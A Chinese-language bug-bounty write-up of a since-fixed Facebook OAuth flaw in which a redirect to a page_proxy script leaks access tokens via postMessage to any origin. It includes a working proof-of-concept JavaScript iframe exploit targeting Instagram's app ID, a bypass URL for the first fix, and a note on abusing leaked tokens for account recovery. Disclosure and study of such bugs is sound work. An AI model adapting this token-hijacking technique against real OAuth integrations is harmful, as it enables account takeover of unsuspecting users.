ps:FB的账户接管
不知道为什么,我有一种直觉,Login with Facebook
这个功能点我觉得不太安全.
FaceBook使用了多个重定向的URL,但是,要在Facebook中找到一个高危漏洞并非易事。这是非常具有挑战性的。
但是,根据谷歌搜索和StackOverflow的说法,我发现这种方式多年来一直处于脆弱状态,大约9到10年。
Login with Facebook
功能遵循OAuth 2.0
协议,在facebook.com和第三方网站之间交换token。
该漏洞可能使攻击者劫持OAuth flow
并用来接管用户帐户的access_token
。恶意网站可以同时窃取最常见应用程序的access_token,并且可以访问提供多种服务的第三方网站。例如Instagram,Oculus,Netflix,Tinder,Spotify等。
Facebook SDK
使用"/connect/ping"
发送出user_access
token,并将所有应用程序默认设置为白名单的URL重定向到XD_Arbiter
。在后台,SDK在初始化时会创建用于跨域通信的proxy iframe。proxy iframe通过postMessage()
API 发送回token,代码或未经授权,状态未知。
这是正常的登录流程
https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.domain.com
这个api受到了很好的保护,没有先前已知的错误(例如,参数污染,原始验证,重定向(#!)等)的影响。我尝试了很多方法,但都没招。那该怎么办?
我注意到只有一个请求是可以修改的,xd_arbiter.php?v=42
修改成xd_arbiter/?v=42
,除了路径遍历之外,还可以进一步添加更多目录/参数。 首先,从哈希片段中窃取令牌非常困难。在这一点上,我们需要一个proxy iframe,该框架可以(劫持)为我们完成这项工作,例如API,location.hash
,postMessage()API
,任何来源的"*"。(跨域请求)
幸运的是,我很快发现了page_proxy
。
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
它包含了我们想要的代码!
var frameName = window.location.href.split("#")[1]; window.parent.postMessage(frameName,"*");
这个资源有一个EventListener
的属性,如果条件检查未满足,那么代码抛出postMessage(),可以用frameName
的任何来源*
,这是不正确的配置.
利用这玩意并不难,我将page_proxy资源附加到xd_arbiter。
https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
https://staticxx.facebook.com/connect/xd_arbiter.php?version=42
https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42
在此漏洞利用中,有几点很重要。
X-Frame-Options
标题。(非常脆弱)window.parent
,它本身不需要和用户交互。不需要关心window.open或任何onClick事件。var app_id = '124024574287414', app_domain = 'www.instagram.com'; var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain; var i = document.createElement('iframe'); i.setAttribute('id', 'i'); i.setAttribute('style', 'display:none;'); i.setAttribute('src', exploit_url); document.body.appendChild(i); window.addEventListener('OAuth', function(FB) { alert(FB.data.name); }, !1);
现在,就可以进行跨域攻击.
如果第一方的graphql令牌泄漏,就可以查询电话然后进行添加并确认新的电话号码以进行帐户恢复。由于它们已经被列入GraphQL查询的白名单,所以不用任何权限检查。即使将隐私控制设置为仅自己
,同样也具有完全的读/写特权,例如消息,照片,视频。
我报告交了没几个小时,FB就修复了这个漏洞.
/connect/ping api被弃用
XD_Arbiter中添加了__d 以中断page_proxy中的JS执行
虽然我们双方都知道OAuth的核心api/dialog/oauth/
仍然使用令牌将其重定向到page_proxy
。我告诉FB也要修这些api,但FB回应,Facebook说xd_arbiter被列入白名单,并且该团队认为page_proxy资源中的代码更改也可以缓解此问题,所以令牌本身无法泄漏。
2-3天后,我重新访问了page_proxy的代码,发现__d
(JSSDKConfig
)代码移至底部,并且对调用的postMessage()
能够再次执行。我没有完全分析它们所做的更改,但是我猜想前面的修复措施可能会破坏其他资源。这就是代码行移至底部的原因。我立即重建了安装程序。
www.facebook.com
并不遵循重定向到xd_arbiter
的状态,而是为客户端来源创建了closed_window
和postMessage()。
(攻击失败)此规则适用于chrome的m
,mobile
,touch
等,但不适用于Firefox。您可能知道Facebook如何在User-Agent和子域之间发挥作用。
输入mbasic.facbook.com
就会响应HTTP 302重定向标头,并且适用于所有浏览器。
https://mbasic.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.instagram.com%252F
我很高兴能参与这次披露,并且为成功实现我的目标感到高兴。^-^
攻击者构造的钓鱼网站可以获得用户的token